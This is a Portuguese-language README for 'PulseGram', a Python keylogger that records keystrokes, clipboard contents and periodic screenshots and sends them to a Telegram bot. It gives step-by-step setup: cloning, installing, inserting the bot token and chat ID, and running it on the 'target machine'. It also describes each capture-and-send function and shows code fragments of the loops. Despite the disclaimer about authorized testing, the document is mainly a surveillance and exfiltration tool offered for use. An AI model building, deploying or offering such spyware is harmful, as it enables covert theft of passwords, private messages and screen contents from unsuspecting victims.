
Keylogger baseado em Python com integração de bot do Telegram para capturar teclas, conteúdo da área de transferência e capturas de tela em ambientes autorizados de testes de segurança.
PulseGram é um keylogger integrado com um bot do Telegram. É uma ferramenta de monitoramento que captura teclas digitadas, conteúdo da área de transferência e capturas de tela, enviando todas as informações para um bot do Telegram configurado. É projetado para uso em simulações de adversários e contextos de teste de segurança.
⚠️ Aviso: Este projeto é apenas para fins educacionais e testes de segurança em ambientes autorizados. O uso não autorizado desta ferramenta pode ser ilegal e é proibido.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt para facilitar a depuração.
Clone o repositório:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Instale as dependências: Certifique-se de ter Python 3 e pip instalados. Então execute:
pip install -r requirements.txt
Configure o token do bot do Telegram:
Crie um bot no Telegram usando o BotFather.
Copie seu token e cole-o no código em main.py onde o bot é inicializado.
Copie seu ChatID chat_id="131933xxxx" em keylogger.py
Execute a ferramenta na máquina de destino com:
python pulsegram.py
Este é o arquivo principal da ferramenta, que inicializa o bot e inicia tarefas assíncronas para capturar e enviar dados.
Bot(token="..."): Inicializa o bot do Telegram com seu token pessoal.
asyncio.gather(...): Lança múltiplas tarefas para executar o monitoramento da área de transferência, captura de tela e registro de teclas.
log_error: Em caso de erros, registra-os em um arquivo errors_log.txt.
Este módulo contém funções auxiliares que auxiliam na operação geral da ferramenta.
log_error(): Registra quaisquer erros em errors_log.txt com formato de data e hora.
get_clipboard_content(): Captura o conteúdo atual da área de transferência.
capture_screenshot(): Tira uma captura de tela e a salva temporariamente para enviar ao bot do Telegram.
Este módulo lida com registro de teclas, monitoramento da área de transferência e capturas de tela.
capture_keystrokes(bot): Função assíncrona que captura teclas digitadas e envia as informações para o bot do Telegram.
send_keystrokes_to_telegram(bot): Esta função envia as teclas acumuladas para o bot.
capture_screenshots(bot): Captura periodicamente uma imagem da tela e a envia para o bot.
log_clipboard(bot): Envia o conteúdo da área de transferência para o bot.
Altere o intervalo de captura e envio de informações.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
Este projeto é apenas para fins educacionais e para testes de segurança em seus próprios ambientes ou com autorização expressa. O uso não autorizado desta ferramenta pode violar leis locais e políticas de privacidade.
Contribuições são bem-vindas. Por favor, certifique-se de respeitar o código de conduta ao colaborar.
Este projeto está licenciado sob a Licença MIT.